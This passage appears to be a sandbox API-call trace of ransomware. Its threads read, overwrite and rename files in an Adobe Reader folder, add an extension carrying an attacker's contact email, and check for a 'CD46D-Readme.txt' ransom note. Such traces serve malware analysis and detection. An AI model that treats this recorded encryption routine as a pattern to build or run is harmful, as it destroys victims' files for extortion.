lpBuffer=0x12d7ccb0*, lpNumberOfBytesWritten=0x8e1fdb4*=0x10b, lpOverlapped=0x0) returned 1 [0062.800] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7ccb0) returned 1 [0062.800] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e00c0) returned 1 [0062.800] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9638) returned 1 [0062.800] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0090) returned 1 [0062.800] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9610) returned 1 [0062.801] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9620) returned 1 [0062.801] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9670) returned 1 [0062.801] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e96c0) returned 1 [0062.801] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02a20 [0062.801] wcscpy (in: _Dest=0x5e02a20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0062.801] wcscat (in: _Dest=0x5e02a20, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm.mailto[2Hamlampampom@cock.li].cd46d" [0062.801] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8e1fd6c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.801] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d388 [0063.065] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d388) returned 1 [0063.065] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49f348) returned 1 [0063.065] NtQueryInformationFile (in: FileHandle=0x8f0, IoStatusBlock=0x8e1fd78, FileInformation=0x8e1fd50, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8e1fd78, FileInformation=0x8e1fd50) returned 0x0 [0063.065] NtSetInformationFile (FileHandle=0x8f0, IoStatusBlock=0x8e1fd78, FileInformation=0x8e1fd50, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.066] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02a20) returned 1 [0063.067] FlushFileBuffers (hFile=0x8f0) returned 1 [0066.209] CloseHandle (hObject=0x8f0) Thread: id = 381 os_tid = 0xcd8 [0048.674] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm")) returned 0x20 [0058.560] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm", dwFileAttributes=0x20) returned 1 [0058.576] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe88 [0058.576] GetFileSizeEx (in: hFile=0xe88, lpFileSize=0x919f988 | out: lpFileSize=0x919f988*=6072) returned 1 [0058.576] SetFilePointerEx (in: hFile=0xe88, liDistanceToMove=0x17b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.576] ReadFile (in: hFile=0xe88, lpBuffer=0x919f90c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x919f908, lpOverlapped=0x0 | out: lpBuffer=0x919f90c*, lpNumberOfBytesRead=0x919f908*=0x4, lpOverlapped=0x0) returned 1 [0058.578] SetFilePointerEx (in: hFile=0xe88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.578] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429048 [0058.578] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429750 [0058.578] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0058.578] NtQuerySystemTime (in: CurrentTime=0x919f8e8 | out: CurrentTime=0x919f8e8*=132174898225548000) returned 0x0 [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x4b56c0c3 [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x74e2d16d [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x5f0ab96c [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0xef330c3 [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x1c0c858a [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x4c871820 [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x877ab7c [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x105f3f8 [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x12b1093 [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0xed6f45a [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x77d9937e [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x6216d6b [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x6a5fedc2 [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x3be21cf2 [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x37750d01 [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x616928be [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x4ad6e21c [0058.578] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x686e39f6 [0058.579] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x61ff4de6 [0058.579] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x35807837 [0058.579] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x5cf91897 [0058.579] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x561d7453 [0058.579] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x4e52f591 [0058.579] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x380fcd44 [0058.579] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x4eacc567 [0058.579] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x2468ab6f [0058.579] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x15e477d0 [0058.579] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x70e73945 [0058.579] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x71edd1e1 [0058.579] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x2ec53bed [0058.579] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x4a2ca6db [0058.579] RtlRandomEx (in: Seed=0x919f8f4 | out: Seed=0x919f8f4) returned 0x30f23dad [0058.590] ReadFile (in: hFile=0xe88, lpBuffer=0x95e9e28, nNumberOfBytesToRead=0x17b8, lpNumberOfBytesRead=0x919f8e4, lpOverlapped=0x0 | out: lpBuffer=0x95e9e28*, lpNumberOfBytesRead=0x919f8e4*=0x17b8, lpOverlapped=0x0) returned 1 [0058.591] SetFilePointerEx (in: hFile=0xe88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.591] WriteFile (in: hFile=0xe88, lpBuffer=0x95f6630*, nNumberOfBytesToWrite=0x17b8, lpNumberOfBytesWritten=0x919f8e0, lpOverlapped=0x0 | out: lpBuffer=0x95f6630*, lpNumberOfBytesWritten=0x919f8e0*=0x17b8, lpOverlapped=0x0) returned 1 [0058.592] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429048 [0058.592] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0058.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429340) returned 1 [0058.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95f6630) returned 1 [0058.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95e9e28) returned 1 [0058.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437580) returned 1 [0058.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c120) returned 1 [0058.593] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97cee10 [0058.593] SetFilePointerEx (in: hFile=0xe88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.593] WriteFile (in: hFile=0xe88, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x919f948, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x919f948*=0x107, lpOverlapped=0x0) returned 1 [0058.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0058.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced80) returned 1 [0058.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429340) returned 1 [0058.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee10) returned 1 [0058.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429048) returned 1 [0058.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429750) returned 1 [0058.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429480) returned 1 [0058.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429610) returned 1 [0058.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e02120 [0058.595] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0058.595] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm.mailto[2Hamlampampom@cock.li].cd46d" [0058.595] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x919f900, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00470 [0058.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0058.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x481cd0) returned 1 [0058.596] NtQueryInformationFile (in: FileHandle=0xe88, IoStatusBlock=0x919f90c, FileInformation=0x919f8e4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x919f90c, FileInformation=0x919f8e4) returned 0x0 [0058.596] NtSetInformationFile (FileHandle=0xe88, IoStatusBlock=0x919f90c, FileInformation=0x919f8e4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.597] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0058.597] FlushFileBuffers (hFile=0xe88) returned 1 [0062.195] CloseHandle (hObject=0xe88) returned 1 [0062.641] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400118 [0062.641] wcscpy (in: _Dest=0x400118, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.641] wcscat (in: _Dest=0x400118, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.641] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.433] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400118) returned 1 [0063.433] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45ad0) returned 1 Thread: id = 382 os_tid = 0xcdc [0048.676] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm")) returned 0x20 [0058.590] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm", dwFileAttributes=0x20) returned 1 [0058.598] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xaf4 [0058.598] GetFileSizeEx (in: hFile=0xaf4, lpFileSize=0x985fed0 | out: lpFileSize=0x985fed0*=16528) returned 1 [0058.598] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x408c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.598] ReadFile (in: hFile=0xaf4, lpBuffer=0x985fe54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x985fe50, lpOverlapped=0x0 | out: lpBuffer=0x985fe54*, lpNumberOfBytesRead=0x985fe50*=0x4, lpOverlapped=0x0) returned 1 [0058.600] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429610 [0058.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429480 [0058.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429750 [0058.600] NtQuerySystemTime (in: CurrentTime=0x985fe30 | out: CurrentTime=0x985fe30*=132174898225860000) returned 0x0 [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x3a79b832 [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x4917956a [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x3ad5b782 [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x59cbfb86 [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x38830b60 [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x75e2b831 [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x7ad0a1c9 [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x3a268bb9 [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x5201a90b [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x41e09f2a [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x694a2cb9 [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x7dcbf824 [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x604e9232 [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x5b137a93 [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x46496430 [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x16a48afd [0058.600] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x319fdc66 [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x480d4609 [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x10cde4 [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0xbf602b6 [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x5a6fa469 [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x1ef4581e [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x3c0b362f [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x301b4e13 [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x6c6ef80b [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x18c8dab3 [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x752716ec [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x6c365f1b [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x604975ca [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x452b3665 [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x5da6a0b [0058.601] RtlRandomEx (in: Seed=0x985fe3c | out: Seed=0x985fe3c) returned 0x6b59573f [0058.612] ReadFile (in: hFile=0xaf4, lpBuffer=0x95e9e28, nNumberOfBytesToRead=0x4090, lpNumberOfBytesRead=0x985fe2c, lpOverlapped=0x0 | out: lpBuffer=0x95e9e28*, lpNumberOfBytesRead=0x985fe2c*=0x4090, lpOverlapped=0x0) returned 1 [0058.613] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.613] WriteFile (in: hFile=0xaf4, lpBuffer=0x95f6630*, nNumberOfBytesToWrite=0x4090, lpNumberOfBytesWritten=0x985fe28, lpOverlapped=0x0 | out: lpBuffer=0x95f6630*, lpNumberOfBytesWritten=0x985fe28*=0x4090, lpOverlapped=0x0) returned 1 [0058.615] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429610 [0058.615] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429750 [0058.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429750) returned 1 [0058.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95f6630) returned 1 [0058.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95e9e28) returned 1 [0058.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437580) returned 1 [0058.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c120) returned 1 [0058.615] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97cee10 [0058.615] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.615] WriteFile (in: hFile=0xaf4, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x985fe90, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x985fe90*=0x107, lpOverlapped=0x0) returned 1 [0058.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0058.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced80) returned 1 [0058.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429750) returned 1 [0058.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee10) returned 1 [0058.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429610) returned 1 [0058.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429480) returned 1 [0058.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429048) returned 1 [0058.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429340) returned 1 [0058.616] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e02120 [0058.616] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0058.616] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm.mailto[2Hamlampampom@cock.li].cd46d" [0058.616] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x985fe48, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.617] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00470 [0058.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0058.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ef9c90) returned 1 [0058.618] NtQueryInformationFile (in: FileHandle=0xaf4, IoStatusBlock=0x985fe54, FileInformation=0x985fe2c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x985fe54, FileInformation=0x985fe2c) returned 0x0 [0058.618] NtSetInformationFile (FileHandle=0xaf4, IoStatusBlock=0x985fe54, FileInformation=0x985fe2c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0058.619] FlushFileBuffers (hFile=0xaf4) returned 1 [0062.195] CloseHandle (hObject=0xaf4) returned 1 [0062.710] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e09198 [0062.710] wcscpy (in: _Dest=0x12e09198, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.710] wcscat (in: _Dest=0x12e09198, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.710] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.426] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e09198) returned 1 [0063.426] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45a58) returned 1 Thread: id = 383 os_tid = 0xce0 [0048.677] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm")) returned 0x20 [0055.525] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm", dwFileAttributes=0x20) returned 1 [0060.668] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb6c [0060.668] GetFileSizeEx (in: hFile=0xb6c, lpFileSize=0x931fed0 | out: lpFileSize=0x931fed0*=17476) returned 1 [0060.668] SetFilePointerEx (in: hFile=0xb6c, liDistanceToMove=0x4440, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.668] ReadFile (in: hFile=0xb6c, lpBuffer=0x931fe54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x931fe50, lpOverlapped=0x0 | out: lpBuffer=0x931fe54*, lpNumberOfBytesRead=0x931fe50*=0x4, lpOverlapped=0x0) returned 1 [0060.682] SetFilePointerEx (in: hFile=0xb6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.682] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4360c0 [0060.682] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4361d8 [0060.682] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436250 [0060.682] NtQuerySystemTime (in: CurrentTime=0x931fe30 | out: CurrentTime=0x931fe30*=132174898246608000) returned 0x0 [0060.682] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x1129a4de [0060.682] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x4869cbed [0060.682] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x79ac9571 [0060.682] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x477ce8d2 [0060.682] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x8dbc500 [0060.682] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x7915592e [0060.682] RtlRandomEx (in: Seed=0x931fe3c | 